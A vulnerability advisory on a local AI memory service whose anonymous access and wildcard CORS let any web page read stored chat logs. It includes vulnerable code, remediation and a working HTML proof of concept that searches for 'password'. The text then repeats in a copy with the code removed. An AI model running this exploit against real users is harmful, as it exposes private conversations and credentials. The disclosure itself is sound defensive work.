1. Vulnerability Description
After the user starts Memmy, its local Memory service listens on 127.0.0.1:18960. Binding to the loopback interface does not prevent access from a web page: any page opened in the user's browser can still send a cross-origin request to that local address.
When no Memory token is configured, POST /api/v1/memory/search allows anonymous access. In addition, the service sets the following header on responses:
Access-Control-Allow-Origin: *
The service also allows the POST method, Content-Type, and multiple x-memmy-* namespace headers. As a result, a malicious web page can send a search request directly to the local Memory service while Memmy is running and read the response body.
The endpoint searches memory generated from the user's interactions with AI models. That data can include raw user input, model or agent output, reasoning summaries, tool calls and tool results, session summaries, tags, and metadata. An attacker can use search keywords to locate sensitive content, such as passwords, tokens, cookies, private keys, internal system information, project paths, or business secrets. The attacker can also set namespace headers to target memory saved under a specific user or model runtime environment.
This vulnerability is an AI chat log disclosure caused by the combination of missing local-service authentication and an overly permissive CORS policy:
- CWE-306: Missing Authentication for Critical Function
- CWE-942: Permissive Cross-domain Policy
Recommended severity: High
CVSS 3.1 reference vector:
AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
Score: 6.5 (Medium)
The actual impact depends on the amount of sensitive information stored in memory. For users who use Memmy over a long period, this issue can allow an external web page to silently read historical conversations, tool activity, and model-generated memories.
2. Vulnerability Root Cause
2.1 The Service Listens on a Fixed Local Port
In Memory/src/server/index.ts, the service defaults to listening on 127.0.0.1:18960:
const host = options.host ??
process.env.MEMMY_MEMORY_HOST ??
process.env.MEMORY_SERVICE_HOST ??
"127.0.0.1";
const port = options.port ??
numberEnv("MEMMY_MEMORY_PORT") ??
numberEnv("MEMORY_SERVICE_PORT") ??
18960;
The service then calls listenMemoryHttpServer(). Binding to the loopback interface prevents direct access from other hosts, but it does not prevent a page loaded in the user's browser from making a request to 127.0.0.1.
2.2 Anonymous Access Is Explicitly Enabled When No Token Is Configured
The same file chooses an authentication mode when starting the HTTP service:
const listening = await listenMemoryHttpServer({
service,
host,
port,
timeZone: config.timeZone,
onShutdownRequested: () => requestShutdown?.(),
auth: config.storage.token
? { localServiceToken: config.storage.token }
: { allowAnonymous: true }
});
When config.storage.token is empty, the service passes allowAnonymous: true.
The desktop runtime's token resolution also shows that the token comes only from environment variables or the configuration file. If none is present, the value is an empty string, not an automatically generated secret:
const memoryToken = stringValue(env.MEMMY_MEMORY_TOKEN) ??
stringValue(env.MEMMY_SERVICE_TOKEN) ??
stringValue(storage.token) ??
"";
Therefore, in a default installation or an environment that has not explicitly configured a token, the Memory service is anonymously accessible.
2.3 The Anonymous Principal Receives Wildcard Permissions
The authenticate() function in Memory/src/server/http.ts handles anonymous requests as follows:
if (!localToken && (!auth || auth.allowAnonymous === true)) {
return {
kind: "anonymous",
namespace: namespaceFromRequest(request, url),
scopes: ["*"]
};
}
The critical issue is that the anonymous principal's scopes array is set to ["*"].
The search route then calls:
requireMemoryRead(principal);
requireMemoryRead() allows a principal with the * scope to pass:
function requireMemoryRead(principal: AuthPrincipal): void {
requireAnyScope(principal, [
"memory:read",
"memory:write",
"panel:read",
"panel:write",
"admin:read",
"admin:write"
]);
}
function requireAnyScope(
principal: AuthPrincipal,
allowed: string[]
): void {
if (principal.scopes.includes("*")) {
return;
}
...
}
A credential-free request from a malicious page is therefore treated as an anonymous principal with all permissions and successfully enters the memory search logic.
2.4 CORS Allows Any Origin to Read the Response
The HTTP server calls setCors(response) before handling each request:
const server = createServer(async (request, response) => {
const startedAt = Date.now();
const requestId = requestIdFromHeaders(request) ?? randomUUID();
const requestPath = request.url?.split("?", 1)[0] ?? "<missing>";
setCors(response);
if (request.method === "OPTIONS") {
response.writeHead(204);
response.end();
return;
}
...
});
The implementation of setCors() is:
function setCors(response: ServerResponse): void {
response.setHeader("access-control-allow-origin", "*");
response.setHeader(
"access-control-allow-methods",
"GET,POST,DELETE,OPTIONS"
);
response.setHeader(
"access-control-allow-headers",
[
"content-type",
"authorization",
"x-api-key",
"x-request-id",
"x-correlation-id",
"x-memmy-user-id",
"x-memmy-tenant-id",
"x-memmy-project-id",
"x-memmy-workspace-id",
"x-memmy-workspace-path",
"x-memmy-profile-id",
"x-memmy-profile-label",
"x-memmy-session-key",
"x-memmy-time-zone"
].join(",")
);
}
This has two direct consequences:
- A page from any origin can send
POST /api/v1/memory/search to the local service.
- Because the response contains
Access-Control-Allow-Origin: *, the browser allows the page's JavaScript to read the response body.
This remains true even though the service listens on 127.0.0.1. The browser's same-origin policy compares the page's origin with the target URL's origin; it does not treat local processes as automatically trusted.
2.5 A Malicious Page Can Select the Target User or Model Namespace
The anonymous principal's namespace is constructed by namespaceFromRequest() from request headers and URL parameters:
function namespaceFromRequest(
request: IncomingMessage,
url: URL
): RuntimeNamespace | undefined {
const userId = headerString(request, "x-memmy-user-id");
const tenantId = headerString(request, "x-memmy-tenant-id");
const projectId = headerString(request, "x-memmy-project-id");
const workspaceId = headerString(request, "x-memmy-workspace-id");
const workspacePath =
headerString(request, "x-memmy-workspace-path");
const source = sourceString(url.searchParams.get("source"));
const profileId = headerString(request, "x-memmy-profile-id");
const profileLabel =
headerString(request, "x-memmy-profile-label");
const sessionKey = headerString(request, "x-memmy-session-key");
...
}
The CORS configuration explicitly allows the attacker to set these x-memmy-* headers. A malicious page can therefore select a user ID, project, workspace, profile, source, and related namespace fields to search chat logs and memory stored under a particular user or model/agent runtime environment.
After the request body enters routing, envelopeWithPrincipal() merges the body namespace with the principal namespace:
function envelopeWithPrincipal<T extends Record<string, unknown>>(
body: T,
principal: AuthPrincipal
): T & RequestEnvelope {
const existing = isRecord(body.namespace)
? body.namespace as unknown as RuntimeNamespace
: undefined;
const namespace = mergeNamespaces(
mergeNamespaces(
existing,
namespaceFromSource(body.source)
),
principal.namespace
);
assertNamespaceScope(existing, principal.namespace);
return {
...body,
namespace,
timeZone: principal.timeZone ??
(typeof body.timeZone === "string"
? body.timeZone
: undefined)
} as T & RequestEnvelope;
}
However, assertNamespaceScope() is currently a no-op:
function assertNamespaceScope(
requestNamespace: RuntimeNamespace | undefined,
principalNamespace: RuntimeNamespace | undefined
): void {
void requestNamespace;
void principalNamespace;
}
The namespace supplied by the requester is therefore not constrained by the authenticated principal. Anonymous requests can also carry and use these namespace fields.
2.6 AI Chat Logs Enter Memory and Are Returned by the Search Endpoint
The Memory service does not store only abstract summaries. It records the user's input, model response, reasoning summary, tool calls, and tool results from AI sessions.
The turn-complete route in Memory/src/server/http.ts first constructs a publicRequest containing these fields:
const publicRequest: TurnCompleteRequest = {
...
query: request.query,
answer: request.answer,
reasoningSummary: request.reasoningSummary,
tags: request.tags,
toolCalls: request.toolCalls,
toolResults: request.toolResults,
artifacts: request.artifacts,
...
status: request.status,
userMemoryCorrection: request.userMemoryCorrection
};
sanitizeTurnCompleteRequest() in Memory/src/service/turn/turn-normalization.ts also shows that query, answer, toolCalls, and toolResults are part of the turn-complete request:
export function sanitizeTurnCompleteRequest<
T extends TurnCompleteRequest & Record<string, unknown>
>(request: T): T {
const toolCalls = Array.isArray(request.toolCalls)
? request.toolCalls
: [];
return {
...request,
query: sanitizeMemmyProtocolText(String(request.query ?? "")),
answer: sanitizeMemmyProtocolText(String(request.answer ?? "")),
toolCalls: Array.isArray(request.toolCalls)
? request.toolCalls.map(sanitizeMemmyProtocolValue)
: request.toolCalls,
toolResults: Array.isArray(request.toolResults)
? request.toolResults.map((result, index) =>
sanitizeCompleteTurnToolResult(
result,
toolNameFromToolCall(toolCalls[index])
)
)
: request.toolResults
};
}
completeObservedRawTurn() in the same file writes these fields into the raw turn record:
export function completeObservedRawTurn(
existing: RawTurnRecord,
request: TurnCompleteRequest & Record<string, unknown>,
completedAt: string
): RawTurnRecord {
const toolCalls = normalizeCompleteTurnToolCalls(request);
const toolResults = normalizeCompleteTurnToolResults(request);
...
return {
...existing,
userText: request.query ?? existing.userText,
assistantText: request.answer,
reasoningSummary:
stringFromMaybeRecord(request, "reasoningSummary") ??
existing.reasoningSummary,
toolCalls: toolCalls.length
? toolCalls
: existing.toolCalls,
toolResults: toolResults.length
? toolResults
: existing.toolResults,
...
status: request.status ?? "succeeded"
};
}
Thus, one AI conversation turn can include at least:
userText: the user's raw input
assistantText: the model's response
reasoningSummary: the reasoning summary
toolCalls: tool invocations
toolResults: tool results
These values participate in memory processing and storage, becoming searchable data.
The search route in Memory/src/server/http.ts is handled as follows:
if (method === "POST" && path === "/api/v1/memory/search") {
requireMemoryRead(principal);
const request = requestWithPrincipal<MemorySearchRequest>(
body,
"memory.search",
principal
);
requireStringField(request, "query", "memory.search");
...
return publicSearchResponse(await trackExternalToolCall(
pluginRuntimeAnalytics,
{ ...request, toolName: "memmy_memory_search" },
() =>
service.idempotent(
"memory.search",
publicRequest,
{ path, request: publicRequest },
() => service.search(publicRequest)
),
...
));
}
MemoryService.search() delegates to the retrieval service:
async search(request: InternalMemorySearchRequest) {
return this.withModelTaskContext(() =>
this.retrieval.search(this.withTimeZone(request))
);
}
When verbose is true, the HTTP layer returns:
return {
injectedContext:
publicSearchInjectedContextMarkdown(injectedContext),
debug: {
searchEventId: record.searchEventId,
hits: record.hits,
sourceMemoryIds: record.sourceMemoryIds,
status: record.status,
sections: Array.isArray(injectedContext.sections)
? injectedContext.sections
: [],
tokenEstimate: ...,
serverTime: record.serverTime
}
};
The injectedContext Markdown comes from retrieved memory. The retrieval service can match memory bodies, summaries, traces, user inputs, and agent outputs.
More importantly, renderInjectedTraceBody() in Memory/src/service/retrieval/retrieval-service.ts directly renders historical user input and historical assistant responses into the search result:
function renderInjectedTraceBody(
hit: RecallHit,
trace: TraceMeta,
timeZone?: string
): string {
return [
`timestamp: ${formatInjectedTimestamp(
trace.ts,
hit.updatedAt,
timeZone ?? trace.timeZone
)}`,
"",
...labeledInjectedBlock(
"Historical user statement",
trace.userText || "(empty)"
),
"",
...labeledInjectedBlock(
"Historical assistant response",
trace.agentText || "(empty)"
)
].join("\n");
}
When a matching trace is retrieved, the injectedContext response contains:
Historical user statement: <user's historical input>
Historical assistant response: <model's historical response>
This proves that the endpoint does not expose only abstract statistics. It can expose log fragments that directly reconstruct the user's AI chat history. An attacker only needs to submit a keyword to read this content.
The complete vulnerable path is:
Service binds to 127.0.0.1:18960
↓
No token is configured, so allowAnonymous is enabled
↓
Anonymous principal receives scopes=["*"]
↓
CORS returns Access-Control-Allow-Origin: *
↓
Malicious page sends cross-origin POST memory/search
↓
Browser allows the page to read the response
↓
AI chat logs, user inputs, model responses, and tool records are disclosed
3. Vulnerability Reproduction
3.1 Requirements
- The target user has started Memmy, and the Memory service is running at
http://127.0.0.1:18960.
- The Memory service has no configured
storage.token, MEMMY_MEMORY_TOKEN, or MEMORY_SERVICE_TOKEN.
- The user's browser allows pages to send requests to the local loopback address.
- The user has produced memory through AI model interactions recorded by Memmy, and the chat logs contain a searchable keyword. For testing, the user or model may output text containing
password.
3.2 Reproduction Steps
-
Start the Memmy desktop client or Memory service.
-
Confirm that the service is reachable:
http://127.0.0.1:18960/api/v1/health
-
Open an arbitrary malicious page in the user's browser. The page may be hosted remotely or opened from a local HTML file.
-
The page executes a cross-origin fetch() against:
POST http://127.0.0.1:18960/api/v1/memory/search
-
The request body contains a search query, for example:
{
"query": "password",
"limit": 20,
"verbose": true
}
-
To target a specific user namespace, add:
x-memmy-user-id: <target-user-id>
-
Observe the response. When the vulnerability is present, the service returns HTTP 200, including:
Access-Control-Allow-Origin: *
The JSON response's injectedContext or debug.sections contains matched AI chat log content, such as historical user input, historical assistant responses, reasoning summaries, or tool results.
-
If the service returns:
{
"error": {
"code": "unauthorized",
"message": "invalid memory service token"
}
}
then that environment has a Memory token configured. The anonymous-access precondition does not apply, and this vulnerability path cannot be reproduced there.
3.3 Self-Contained HTML Reproduction Code
The following code can be saved as an HTML file and opened in a browser. It requests only the local 127.0.0.1 address and is intended for authorized vulnerability verification.
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Memmy Memory Search Unauthorized POC</title>
<style>
:root {
color-scheme: light;
font-family: system-ui, -apple-system, "Segoe UI", sans-serif;
}
body {
margin: 0;
background: #f3f5f7;
color: #17202b;
}
main {
box-sizing: border-box;
max-width: 980px;
margin: 0 auto;
padding: 28px 20px 72px;
}
h1 {
margin: 0 0 10px;
font-size: 28px;
}
.summary,
.warning {
padding: 14px 16px;
border-left: 4px solid #2563eb;
background: #edf4ff;
line-height: 1.6;
}
.warning {
margin-top: 10px;
border-left-color: #dc2626;
background: #fff1f2;
}
form {
display: grid;
grid-template-columns: repeat(auto-fit, minmax(260px, 1fr));
gap: 12px;
margin: 22px 0;
}
label {
display: grid;
gap: 6px;
font-size: 13px;
font-weight: 700;
}
input,
select {
box-sizing: border-box;
width: 100%;
padding: 9px 10px;
border: 1px solid #8b98a8;
border-radius: 6px;
font: inherit;
}
.single {
display: grid;
grid-template-columns: auto 1fr;
align-items: center;
gap: 8px;
padding: 9px 10px;
border: 1px solid #8b98a8;
border-radius: 6px;
background: #fff;
font-size: 13px;
font-weight: 700;
}
.single input {
width: auto;
margin: 0;
}
button {
width: 100%;
max-width: 360px;
padding: 11px 14px;
border: 0;
border-radius: 6px;
background: #1d4ed8;
color: #fff;
font: inherit;
font-weight: 800;
cursor: pointer;
}
button:hover {
filter: brightness(1.08);
}
pre {
min-height: 220px;
max-height: 520px;
overflow: auto;
margin: 14px 0 0;
padding: 12px;
border-radius: 6px;
background: #0f172a;
color: #dbeafe;
font-size: 12px;
line-height: 1.5;
white-space: pre-wrap;
overflow-wrap: anywhere;
}
code {
overflow-wrap: anywhere;
}
</style>
</head>
<body>
<main>
<h1>Memory Search Unauthorized Read POC</h1>
<div class="summary">
Target endpoint: <code>POST /api/v1/memory/search</code>.<br>
Classification: <strong>Class 2, permissive CORS with a readable response</strong>. The Memory
service is anonymously accessible by default and returns
<code>Access-Control-Allow-Origin: *</code>, so a web page can read search results directly.<br>
This endpoint searches memory bodies, summaries, tags, metadata, raw user input, and Agent
output. Passwords, tokens, cookies, private keys, and other sensitive information previously
pasted by a user may be discoverable.
</div>
<div class="warning">
Run this only in a test environment you are authorized to test. The endpoint reads data and does
not modify target state. If it returns <code>401 invalid memory service token</code>, that
environment is configured with a Memory token and the default anonymous-access assumption does
not apply.
</div>
<form>
<label>
Memory Base URL
<input id="baseUrl" value="http://127.0.0.1:18960" inputmode="url">
</label>
<label>
Search query
<input id="query" value="password" required>
</label>
<label>
x-memmy-user-id (optional, in-app namespace)
<input id="userId" placeholder="Leave empty to omit">
</label>
<label>
Result count
<input id="limit" type="number" min="1" max="100" value="20">
</label>
<label>
Memory layer
<select id="layer">
<option value="">Default (all searchable layers)</option>
<option value="L1">L1 (raw trace / user input)</option>
<option value="L2">L2 (episode summary)</option>
<option value="L3">L3 (world model / policy)</option>
<option value="Skill">Skill (skill memory)</option>
</select>
</label>
<label>
Tag filter (optional, comma-separated)
<input id="tags" placeholder="For example: poc,secret">
</label>
<div class="single">
<input id="verbose" type="checkbox" checked>
<span>verbose: return more detailed search diagnostics</span>
</div>
</form>
<button id="run" type="button">Run memory/search POC</button>
<pre id="output">Waiting to run. The dedicated output box is below this button.</pre>
<script>
const output = document.getElementById("output");
function print(value) {
output.textContent = value;
}
document.getElementById("run").addEventListener("click", async () => {
const base = document.getElementById("baseUrl").value.trim().replace(/\/+$/, "");
const query = document.getElementById("query").value.trim();
const userId = document.getElementById("userId").value.trim();
const layer = document.getElementById("layer").value;
const tags = document.getElementById("tags").value
.split(",")
.map((tag) => tag.trim())
.filter(Boolean);
const limit = Math.max(
1,
Math.trunc(Number(document.getElementById("limit").value) || 20)
);
const verbose = document.getElementById("verbose").checked;
if (!/^http:\/\/127\.0\.0\.1(?::\d+)?$/i.test(base)) {
print("Enter a Memory Base URL in the form http://127.0.0.1:PORT.");
return;
}
if (!query) {
print("Enter a search query.");
return;
}
const payload = {
query,
limit,
verbose
};
if (layer) {
payload.layers = [layer];
}
if (tags.length > 0) {
payload.tags = tags;
}
const headers = {
"content-type": "application/json"
};
if (userId) {
headers["x-memmy-user-id"] = userId;
}
const url = base + "/api/v1/memory/search";
print([
"Requesting...",
"POST " + url,
"Request body:",
JSON.stringify(payload, null, 2)
].join("\n"));
const started = performance.now();
try {
const response = await fetch(url, {
method: "POST",
headers,
body: JSON.stringify(payload),
credentials: "omit",
cache: "no-store"
});
const text = await response.text();
const elapsed = Math.round(performance.now() - started);
print([
"HTTP " + response.status + " " + response.statusText,
"Elapsed: " + elapsed + " ms",
"Current page origin: " + (
location.origin === "null"
? "null (file:// or sandboxed)"
: location.origin
),
"Access-Control-Allow-Origin: " +
response.headers.get("access-control-allow-origin"),
"Access-Control-Allow-Headers: " +
response.headers.get("access-control-allow-headers"),
"Readable response: " + (
response.headers.get("access-control-allow-origin")
? "Yes"
: "Cannot confirm; check the browser Network panel and console"
),
"",
text.slice(0, 200000)
].join("\n"));
} catch (error) {
print(
"Request failed. Possible causes: the service is not running, " +
"the port is wrong, the browser blocked the request, or the network " +
"was interrupted.\n" + error
);
}
});
</script>
</main>
</body>
</html>
3.4 Expected Result
When the vulnerability is present, the output area should contain output similar to the following:
HTTP 200 OK
Elapsed: 35 ms
Current page origin: http://malicious.example
Access-Control-Allow-Origin: *
Access-Control-Allow-Headers: content-type,authorization,x-api-key,...
Readable response: Yes
{
"injectedContext": "Historical user statement: The password is ...\nHistorical assistant response: I have saved the credential...",
"debug": {
"hits": [...],
"sourceMemoryIds": [...],
"sections": [...]
}
}
injectedContext or debug.sections contains matched AI chat log content. This can include historical user input, historical model responses, reasoning summaries, tool call results, project information, and sensitive credential fragments.
4. Remediation
4.1 Generate a Strong Random Local Token by Default
Do not enable anonymous access when no token is configured. On first startup, the desktop client should generate a high-entropy random token, such as at least 256 bits, and store it in a configuration file readable only by the current user.
The service startup logic should instead use:
auth: {
localServiceToken: requiredGeneratedToken
}
Remove the default:
If anonymous access is genuinely required for development, require an explicit opt-in such as:
The mode should be prominently marked in logs and the startup UI as unsuitable for production.
4.2 Remove Wildcard CORS and Use an Explicit Allowlist or Reject Browser Cross-Origin Access
The local Memory API should not allow an arbitrary page origin to read responses by default. Remove:
response.setHeader("access-control-allow-origin", "*");
Recommended policy:
- Do not return
Access-Control-Allow-Origin for /api/* by default.
- If the desktop renderer must call the local API, allow only its fixed local origin.
- If an administration panel is required, configure an explicit origin allowlist.
- Do not allow wildcards, loose regular-expression matching, or user-controlled request headers to decide the allowed origin.
Example:
const ALLOWED_ORIGINS = new Set([
"http://127.0.0.1:19000"
]);
function setCors(
request: IncomingMessage,
response: ServerResponse
): void {
const origin = request.headers.origin;
if (
typeof origin !== "string" ||
!ALLOWED_ORIGINS.has(origin)
) {
return;
}
response.setHeader("access-control-allow-origin", origin);
response.setHeader("vary", "origin");
response.setHeader(
"access-control-allow-methods",
"POST,OPTIONS"
);
response.setHeader(
"access-control-allow-headers",
"authorization,content-type"
);
}
Anonymous requests should also be prevented from setting namespace headers such as x-memmy-user-id.
4.3 Bind Namespaces to the Authenticated Principal
User, tenant, project, workspace, profile, and related namespaces must not be freely selectable by unauthenticated requests. Instead:
- The token should resolve to a definitive principal and namespace.
- A request-body namespace may only narrow that principal's existing access; it must not escalate or switch to another namespace.
- Anonymous principals must not receive namespace selection rights.
- All read, write, search, log, and panel routes must enforce scope checks.
assertNamespaceScope() should not remain a no-op. At minimum, it must verify that the request namespace matches the authenticated principal's namespace.
4.4 Restrict Anonymous Principal Permissions
Even if anonymous health checks are retained, only this route should be allowed:
Anonymous principals should not receive scopes: ["*"]. A safer structure is:
if (allowAnonymous) {
return {
kind: "anonymous",
scopes: ["health:read"]
};
}
All memory, panel, admin, session, turn, and worker routes should require an authenticated token.
4.5 Add Regression Tests
Add at least the following tests:
- A token-free
POST /api/v1/memory/search request must return 401.
- A preflight request from a non-allowed origin must not return readable CORS headers.
- An actual request from a non-allowed origin must not return
Access-Control-Allow-Origin, even if the business logic would succeed.
- An authenticated token must not read another user's or namespace's AI chat logs.
- A namespace in the request body or headers must not override the token-bound namespace.
- The desktop default configuration must generate a token, and old configurations without one should be migrated automatically.
4.6 Defense in Depth
Beyond the core fixes:
- Document that a local port is not a trust boundary.
- Add request-origin validation or a local process handshake to reduce abuse by other local processes.
- Encrypt sensitive memory containing chat logs to reduce exposure if the database file is read directly.
- Add redaction to chat log search results to prevent plaintext disclosure of likely credentials.
- Log anomalous cross-origin access and anonymous access failures to aid detection of probing.
5. Conclusion
The root cause is the combination of three conditions:
- Anonymous access is enabled by default.
- The anonymous principal receives wildcard permissions.
- CORS allows any web page to read responses.
Once the user starts the application and visits a malicious page, an attacker can search and read the user's AI chat logs, model responses, and tool activity. The fix must remove default anonymous access, tighten CORS, and bind namespace permissions to the authenticated principal. Correcting only one of these issues is insufficient to eliminate the risk.
1. Vulnerability Description
After the user starts Memmy, its local Memory service listens on
127.0.0.1:18960. Binding to the loopback interface does not prevent access from a web page: any page opened in the user's browser can still send a cross-origin request to that local address.When no Memory token is configured,
POST /api/v1/memory/searchallows anonymous access. In addition, the service sets the following header on responses:Access-Control-Allow-Origin: *The service also allows the
POSTmethod,Content-Type, and multiplex-memmy-*namespace headers. As a result, a malicious web page can send a search request directly to the local Memory service while Memmy is running and read the response body.The endpoint searches memory generated from the user's interactions with AI models. That data can include raw user input, model or agent output, reasoning summaries, tool calls and tool results, session summaries, tags, and metadata. An attacker can use search keywords to locate sensitive content, such as passwords, tokens, cookies, private keys, internal system information, project paths, or business secrets. The attacker can also set namespace headers to target memory saved under a specific user or model runtime environment.
This vulnerability is an AI chat log disclosure caused by the combination of missing local-service authentication and an overly permissive CORS policy:
Recommended severity: High
CVSS 3.1 reference vector:
The actual impact depends on the amount of sensitive information stored in memory. For users who use Memmy over a long period, this issue can allow an external web page to silently read historical conversations, tool activity, and model-generated memories.
2. Vulnerability Root Cause
2.1 The Service Listens on a Fixed Local Port
In
Memory/src/server/index.ts, the service defaults to listening on127.0.0.1:18960:The service then calls
listenMemoryHttpServer(). Binding to the loopback interface prevents direct access from other hosts, but it does not prevent a page loaded in the user's browser from making a request to127.0.0.1.2.2 Anonymous Access Is Explicitly Enabled When No Token Is Configured
The same file chooses an authentication mode when starting the HTTP service:
When
config.storage.tokenis empty, the service passesallowAnonymous: true.The desktop runtime's token resolution also shows that the token comes only from environment variables or the configuration file. If none is present, the value is an empty string, not an automatically generated secret:
Therefore, in a default installation or an environment that has not explicitly configured a token, the Memory service is anonymously accessible.
2.3 The Anonymous Principal Receives Wildcard Permissions
The
authenticate()function inMemory/src/server/http.tshandles anonymous requests as follows:The critical issue is that the anonymous principal's
scopesarray is set to["*"].The search route then calls:
requireMemoryRead()allows a principal with the*scope to pass:A credential-free request from a malicious page is therefore treated as an anonymous principal with all permissions and successfully enters the memory search logic.
2.4 CORS Allows Any Origin to Read the Response
The HTTP server calls
setCors(response)before handling each request:The implementation of
setCors()is:This has two direct consequences:
POST /api/v1/memory/searchto the local service.Access-Control-Allow-Origin: *, the browser allows the page's JavaScript to read the response body.This remains true even though the service listens on
127.0.0.1. The browser's same-origin policy compares the page's origin with the target URL's origin; it does not treat local processes as automatically trusted.2.5 A Malicious Page Can Select the Target User or Model Namespace
The anonymous principal's namespace is constructed by
namespaceFromRequest()from request headers and URL parameters:The CORS configuration explicitly allows the attacker to set these
x-memmy-*headers. A malicious page can therefore select a user ID, project, workspace, profile, source, and related namespace fields to search chat logs and memory stored under a particular user or model/agent runtime environment.After the request body enters routing,
envelopeWithPrincipal()merges the body namespace with the principal namespace:However,
assertNamespaceScope()is currently a no-op:The namespace supplied by the requester is therefore not constrained by the authenticated principal. Anonymous requests can also carry and use these namespace fields.
2.6 AI Chat Logs Enter Memory and Are Returned by the Search Endpoint
The Memory service does not store only abstract summaries. It records the user's input, model response, reasoning summary, tool calls, and tool results from AI sessions.
The turn-complete route in
Memory/src/server/http.tsfirst constructs apublicRequestcontaining these fields:sanitizeTurnCompleteRequest()inMemory/src/service/turn/turn-normalization.tsalso shows thatquery,answer,toolCalls, andtoolResultsare part of the turn-complete request:completeObservedRawTurn()in the same file writes these fields into the raw turn record:Thus, one AI conversation turn can include at least:
userText: the user's raw inputassistantText: the model's responsereasoningSummary: the reasoning summarytoolCalls: tool invocationstoolResults: tool resultsThese values participate in memory processing and storage, becoming searchable data.
The search route in
Memory/src/server/http.tsis handled as follows:MemoryService.search()delegates to the retrieval service:When
verboseistrue, the HTTP layer returns:The
injectedContextMarkdown comes from retrieved memory. The retrieval service can match memory bodies, summaries, traces, user inputs, and agent outputs.More importantly,
renderInjectedTraceBody()inMemory/src/service/retrieval/retrieval-service.tsdirectly renders historical user input and historical assistant responses into the search result:When a matching trace is retrieved, the
injectedContextresponse contains:This proves that the endpoint does not expose only abstract statistics. It can expose log fragments that directly reconstruct the user's AI chat history. An attacker only needs to submit a keyword to read this content.
The complete vulnerable path is:
3. Vulnerability Reproduction
3.1 Requirements
http://127.0.0.1:18960.storage.token,MEMMY_MEMORY_TOKEN, orMEMORY_SERVICE_TOKEN.password.3.2 Reproduction Steps
Start the Memmy desktop client or Memory service.
Confirm that the service is reachable:
Open an arbitrary malicious page in the user's browser. The page may be hosted remotely or opened from a local HTML file.
The page executes a cross-origin
fetch()against:The request body contains a search query, for example:
{ "query": "password", "limit": 20, "verbose": true }To target a specific user namespace, add:
x-memmy-user-id: <target-user-id>Observe the response. When the vulnerability is present, the service returns
HTTP 200, including:Access-Control-Allow-Origin: *The JSON response's
injectedContextordebug.sectionscontains matched AI chat log content, such as historical user input, historical assistant responses, reasoning summaries, or tool results.If the service returns:
{ "error": { "code": "unauthorized", "message": "invalid memory service token" } }then that environment has a Memory token configured. The anonymous-access precondition does not apply, and this vulnerability path cannot be reproduced there.
3.3 Self-Contained HTML Reproduction Code
The following code can be saved as an HTML file and opened in a browser. It requests only the local
127.0.0.1address and is intended for authorized vulnerability verification.3.4 Expected Result
When the vulnerability is present, the output area should contain output similar to the following:
injectedContextordebug.sectionscontains matched AI chat log content. This can include historical user input, historical model responses, reasoning summaries, tool call results, project information, and sensitive credential fragments.4. Remediation
4.1 Generate a Strong Random Local Token by Default
Do not enable anonymous access when no token is configured. On first startup, the desktop client should generate a high-entropy random token, such as at least 256 bits, and store it in a configuration file readable only by the current user.
The service startup logic should instead use:
Remove the default:
If anonymous access is genuinely required for development, require an explicit opt-in such as:
The mode should be prominently marked in logs and the startup UI as unsuitable for production.
4.2 Remove Wildcard CORS and Use an Explicit Allowlist or Reject Browser Cross-Origin Access
The local Memory API should not allow an arbitrary page origin to read responses by default. Remove:
Recommended policy:
Access-Control-Allow-Originfor/api/*by default.Example:
Anonymous requests should also be prevented from setting namespace headers such as
x-memmy-user-id.4.3 Bind Namespaces to the Authenticated Principal
User, tenant, project, workspace, profile, and related namespaces must not be freely selectable by unauthenticated requests. Instead:
assertNamespaceScope()should not remain a no-op. At minimum, it must verify that the request namespace matches the authenticated principal's namespace.4.4 Restrict Anonymous Principal Permissions
Even if anonymous health checks are retained, only this route should be allowed:
Anonymous principals should not receive
scopes: ["*"]. A safer structure is:All memory, panel, admin, session, turn, and worker routes should require an authenticated token.
4.5 Add Regression Tests
Add at least the following tests:
POST /api/v1/memory/searchrequest must return401.Access-Control-Allow-Origin, even if the business logic would succeed.4.6 Defense in Depth
Beyond the core fixes:
5. Conclusion
The root cause is the combination of three conditions:
Once the user starts the application and visits a malicious page, an attacker can search and read the user's AI chat logs, model responses, and tool activity. The fix must remove default anonymous access, tighten CORS, and bind namespace permissions to the authenticated principal. Correcting only one of these issues is insufficient to eliminate the risk.